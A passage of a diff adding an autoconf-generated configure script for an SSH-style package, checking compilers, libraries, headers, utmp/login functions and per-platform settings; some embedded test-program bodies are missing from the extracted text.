$ac_n "(cached) $ac_c" 1>&6 +else + case "$PERL" in + /*) + ac_cv_path_PERL="$PERL" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PERL="$PERL" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PERL="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PERL="$ac_cv_path_PERL" +if test -n "$PERL"; then + echo "$ac_t""$PERL" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + +# Extract the first word of "ent", so it can be a program name with args. +set dummy ent; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:1101: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_ENT'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$ENT" in + /*) + ac_cv_path_ENT="$ENT" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_ENT="$ENT" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_ENT="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +ENT="$ac_cv_path_ENT" +if test -n "$ENT"; then + echo "$ac_t""$ENT" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + + +if test -z "$LD" ; then + LD=$CC +fi + + +# C Compiler features +echo $ac_n "checking for inline""... $ac_c" 1>&6 +echo "configure:1142: checking for inline" >&5 +if eval "test \"`echo '$''{'ac_cv_c_inline'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_cv_c_inline=no +for ac_kw in inline __inline__ __inline; do + cat > conftest.$ac_ext <&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_c_inline=$ac_kw; break +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 +fi +rm -f conftest* +done + +fi + +echo "$ac_t""$ac_cv_c_inline" 1>&6 +case "$ac_cv_c_inline" in + inline | yes) ;; + no) cat >> confdefs.h <<\EOF +#define inline +EOF + ;; + *) cat >> confdefs.h <&6 +echo "configure:1195: checking for authenticate" >&5 +if eval "test \"`echo '$''{'ac_cv_func_authenticate'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char authenticate(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_authenticate) || defined (__stub___authenticate) +choke me +#else +authenticate(); +#endif + +; return 0; } +EOF +if { (eval echo configure:1223: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_authenticate=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_authenticate=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'authenticate`\" = yes"; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define WITH_AIXAUTHENTICATE 1 +EOF + +else + echo "$ac_t""no" 1>&6 +fi + + cat >> confdefs.h <<\EOF +#define BROKEN_GETADDRINFO 1 +EOF + + MANTYPE='$(CATMAN)' + mansubdir=cat + cat >> confdefs.h <<\EOF +#define DISABLE_LASTLOG 1 +EOF + + MANTYPE='$(CATMAN)' + mansubdir=cat + ;; +*-*-hpux10*) + if test -z "$GCC"; then + CFLAGS="$CFLAGS -Ae" + fi + CFLAGS="$CFLAGS -D_HPUX_SOURCE" + cat >> confdefs.h <<\EOF +#define IPADDR_IN_DISPLAY 1 +EOF + + echo $ac_n "checking for HPUX trusted system password database""... $ac_c" 1>&6 +echo "configure:1268: checking for HPUX trusted system password database" >&5 + if test -f /tcb/files/auth/system/default; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define HAVE_HPUX_TRUSTED_SYSTEM_PW 1 +EOF + + LIBS="$LIBS -lsec" + echo "configure: warning: This configuration is untested" 1>&2 + else + echo "$ac_t""no" 1>&6 + cat >> confdefs.h <<\EOF +#define DISABLE_SHADOW 1 +EOF + + fi + MANTYPE='$(CATMAN)' + mansubdir=cat + ;; +*-*-hpux11*) + if test -z "$GCC"; then + CFLAGS="$CFLAGS -Ae" + fi + CFLAGS="$CFLAGS -D_HPUX_SOURCE" + cat >> confdefs.h <<\EOF +#define IPADDR_IN_DISPLAY 1 +EOF + + echo $ac_n "checking for HPUX trusted system password database""... $ac_c" 1>&6 +echo "configure:1297: checking for HPUX trusted system password database" >&5 + if test -f /tcb/files/auth/system/default; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define HAVE_HPUX_TRUSTED_SYSTEM_PW 1 +EOF + + LIBS="$LIBS -lsec" + echo "configure: warning: This configuration is untested" 1>&2 + else + echo "$ac_t""no" 1>&6 + cat >> confdefs.h <<\EOF +#define DISABLE_SHADOW 1 +EOF + + fi + MANTYPE='$(CATMAN)' + mansubdir=cat + ;; +*-*-irix5*) + CFLAGS="$CFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS" + MANTYPE='$(CATMAN)' + no_libsocket=1 + no_libnsl=1 + ;; +*-*-irix6*) + CFLAGS="$CFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS" + MANTYPE='$(CATMAN)' + cat >> confdefs.h <<\EOF +#define WITH_IRIX_ARRAY 1 +EOF + + cat >> confdefs.h <<\EOF +#define WITH_IRIX_PROJECT 1 +EOF + + cat >> confdefs.h <<\EOF +#define WITH_IRIX_AUDIT 1 +EOF + + no_libsocket=1 + no_libnsl=1 + ;; +*-*-linux*) + no_dev_ptmx=1 + cat >> confdefs.h <<\EOF +#define DONT_TRY_OTHER_AF 1 +EOF + + cat >> confdefs.h <<\EOF +#define PAM_TTY_KLUDGE 1 +EOF + + inet6_default_4in6=yes + ;; +*-*-netbsd*) + need_dash_r=1 + ;; +*-next-*) + # hardwire lastlog location (can't detect it on some versions) + conf_lastlog_location="/usr/adm/lastlog" + conf_utmp_location=/etc/utmp + cat >> confdefs.h <<\EOF +#define HAVE_NEXT 1 +EOF + + CFLAGS="$CFLAGS -I/usr/local/include" + MAIL=/usr/spool/mail + echo "configure: warning: *** Tested: PA-RISC/m68k Untested: Sparc/Intel" 1>&2 + echo "configure: warning: *** Expect 'scp' to fail!" 1>&2 + echo "configure: warning: *** Please report any problems, thanks" 1>&2 + ;; +*-*-solaris*) + CFLAGS="$CFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib -R/usr/local/lib -L/usr/ucblib -R/usr/ucblib" + need_dash_r=1 + # hardwire lastlog location (can't detect it on some versions) + conf_lastlog_location="/var/adm/lastlog" + echo $ac_n "checking for obsolete utmp and wtmp in solaris2.x""... $ac_c" 1>&6 +echo "configure:1378: checking for obsolete utmp and wtmp in solaris2.x" >&5 + sol2ver=`echo "$host"| sed -e 's/.*[0-9]\.//'` + if test "$sol2ver" -ge 8; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define DISABLE_UTMP 1 +EOF + + cat >> confdefs.h <<\EOF +#define DISABLE_WTMP 1 +EOF + + else + echo "$ac_t""no" 1>&6 + fi + ;; +*-*-sunos4*) + CFLAGS="$CFLAGS -DSUNOS4" + for ac_func in getpwanam +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:1399: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:1427: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + + ;; +*-sni-sysv*) + CFLAGS="$CFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib -L/usr/ucblib" + MANTYPE='$(CATMAN)' + cat >> confdefs.h <<\EOF +#define IP_TOS_IS_BROKEN 1 +EOF + + mansubdir=cat + LIBS="$LIBS -lgen -lnsl -lucb" + ;; +*-*-sysv*) + CFLAGS="$CFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib" + MANTYPE='$(CATMAN)' + mansubdir=cat + LIBS="$LIBS -lgen -lsocket" + ;; +*-*-sco3*) + CFLAGS="$CFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib" + MANTYPE='$(CATMAN)' + mansubdir=cat + LIBS="$LIBS -lgen -lsocket" + no_dev_ptmx=1 + ;; +*-dec-osf*) +# This is untested + if test ! -z "USE_SIA" ; then + echo $ac_n "checking for Digital Unix Security Integration Architecture""... $ac_c" 1>&6 +echo "configure:1482: checking for Digital Unix Security Integration Architecture" >&5 + if test -f /etc/sia/matrix.conf; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define HAVE_OSF_SIA 1 +EOF + + cat >> confdefs.h <<\EOF +#define DISABLE_LOGIN 1 +EOF + + LIBS="$LIBS -lsecurity -ldb -lm -laud" + else + echo "$ac_t""no" 1>&6 + fi + fi + ;; +esac + +# Allow user to specify flags +# Check whether --with-cflags or --without-cflags was given. +if test "${with_cflags+set}" = set; then + withval="$with_cflags" + + if test "x$withval" != "xno" ; then + CFLAGS="$CFLAGS $withval" + fi + + +fi + +# Check whether --with-ldflags or --without-ldflags was given. +if test "${with_ldflags+set}" = set; then + withval="$with_ldflags" + + if test "x$withval" != "xno" ; then + LDFLAGS="$LDFLAGS $withval" + fi + + +fi + +# Check whether --with-libs or --without-libs was given. +if test "${with_libs+set}" = set; then + withval="$with_libs" + + if test "x$withval" != "xno" ; then + LIBS="$LIBS $withval" + fi + + +fi + + + +# Checks for libraries. +echo $ac_n "checking for deflate in -lz""... $ac_c" 1>&6 +echo "configure:1539: checking for deflate in -lz" >&5 +ac_lib_var=`echo z'_'deflate | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lz $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_lib=HAVE_LIB`echo z | sed -e 's/[^a-zA-Z0-9_]/_/g' \ + -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'` + cat >> confdefs.h <&6 +{ echo "configure: error: *** zlib missing - please install first ***" 1>&2; exit 1; } +fi + +echo $ac_n "checking for login in -lutil""... $ac_c" 1>&6 +echo "configure:1587: checking for login in -lutil" >&5 +ac_lib_var=`echo util'_'login | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lutil $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define HAVE_LIBUTIL_LOGIN 1 +EOF + LIBS="$LIBS -lutil" +else + echo "$ac_t""no" 1>&6 +fi + + +if test -z "$no_libsocket" ; then + echo $ac_n "checking for yp_match in -lnsl""... $ac_c" 1>&6 +echo "configure:1632: checking for yp_match in -lnsl" >&5 +ac_lib_var=`echo nsl'_'yp_match | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lnsl $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_lib=HAVE_LIB`echo nsl | sed -e 's/[^a-zA-Z0-9_]/_/g' \ + -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'` + cat >> confdefs.h <&6 +fi + +fi +if test -z "$no_libnsl" ; then + echo $ac_n "checking for main in -lsocket""... $ac_c" 1>&6 +echo "configure:1681: checking for main in -lsocket" >&5 +ac_lib_var=`echo socket'_'main | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lsocket $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_lib=HAVE_LIB`echo socket | sed -e 's/[^a-zA-Z0-9_]/_/g' \ + -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'` + cat >> confdefs.h <&6 +fi + +fi + +# Checks for header files. +for ac_hdr in bstring.h endian.h floatingpoint.h lastlog.h limits.h login.h maillock.h netdb.h netgroup.h netinet/in_systm.h paths.h poll.h pty.h shadow.h security/pam_appl.h sys/bitypes.h sys/bsdtty.h sys/cdefs.h sys/poll.h sys/select.h sys/stat.h sys/stropts.h sys/sysmacros.h sys/time.h sys/ttcompat.h stddef.h time.h usersec.h util.h utmp.h utmpx.h +do +ac_safe=`echo "$ac_hdr" | sed 'y%./+-%__p_%'` +echo $ac_n "checking for $ac_hdr""... $ac_c" 1>&6 +echo "configure:1730: checking for $ac_hdr" >&5 +if eval "test \"`echo '$''{'ac_cv_header_$ac_safe'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +EOF +ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out" +{ (eval echo configure:1740: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } +ac_err=`grep -v '^ *+' conftest.out | grep -v "^conftest.${ac_ext}\$"` +if test -z "$ac_err"; then + rm -rf conftest* + eval "ac_cv_header_$ac_safe=yes" +else + echo "$ac_err" >&5 + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_header_$ac_safe=no" +fi +rm -f conftest* +fi +if eval "test \"`echo '$ac_cv_header_'$ac_safe`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_hdr=HAVE_`echo $ac_hdr | sed 'y%abcdefghijklmnopqrstuvwxyz./-%ABCDEFGHIJKLMNOPQRSTUVWXYZ___%'` + cat >> confdefs.h <&6 +fi +done + + +# Checks for library functions. +for ac_func in arc4random atexit b64_ntop bcopy bindresvport_af clock freeaddrinfo gai_strerror getaddrinfo getnameinfo getrusage inet_aton innetgr md5_crypt memmove mkdtemp on_exit openpty rresvport_af setenv seteuid setlogin setproctitle setreuid sigaction sigvec snprintf strerror strlcat strlcpy strsep vsnprintf vhangup _getpty __b64_ntop +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:1771: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:1799: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + +for ac_func in gettimeofday time +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:1826: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:1854: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + +for ac_func in login logout updwtmp logwtmp +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:1881: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:1909: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + +for ac_func in entutent getutent getutid getutline pututline setutent +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:1936: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:1964: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + +for ac_func in utmpname +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:1991: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:2019: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + +for ac_func in entutxent getutxent getutxid getutxline pututxline +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:2046: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:2074: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + +for ac_func in setutxent utmpxname +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:2101: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:2129: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + + +echo $ac_n "checking for getuserattr""... $ac_c" 1>&6 +echo "configure:2155: checking for getuserattr" >&5 +if eval "test \"`echo '$''{'ac_cv_func_getuserattr'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char getuserattr(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_getuserattr) || defined (__stub___getuserattr) +choke me +#else +getuserattr(); +#endif + +; return 0; } +EOF +if { (eval echo configure:2183: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_getuserattr=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_getuserattr=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'getuserattr`\" = yes"; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define HAVE_GETUSERATTR 1 +EOF + +else + echo "$ac_t""no" 1>&6 +echo $ac_n "checking for getuserattr in -ls""... $ac_c" 1>&6 +echo "configure:2204: checking for getuserattr in -ls" >&5 +ac_lib_var=`echo s'_'getuserattr | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-ls $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + LIBS="$LIBS -ls"; cat >> confdefs.h <<\EOF +#define HAVE_GETUSERATTR 1 +EOF + +else + echo "$ac_t""no" 1>&6 +fi + + +fi + + +echo $ac_n "checking for login""... $ac_c" 1>&6 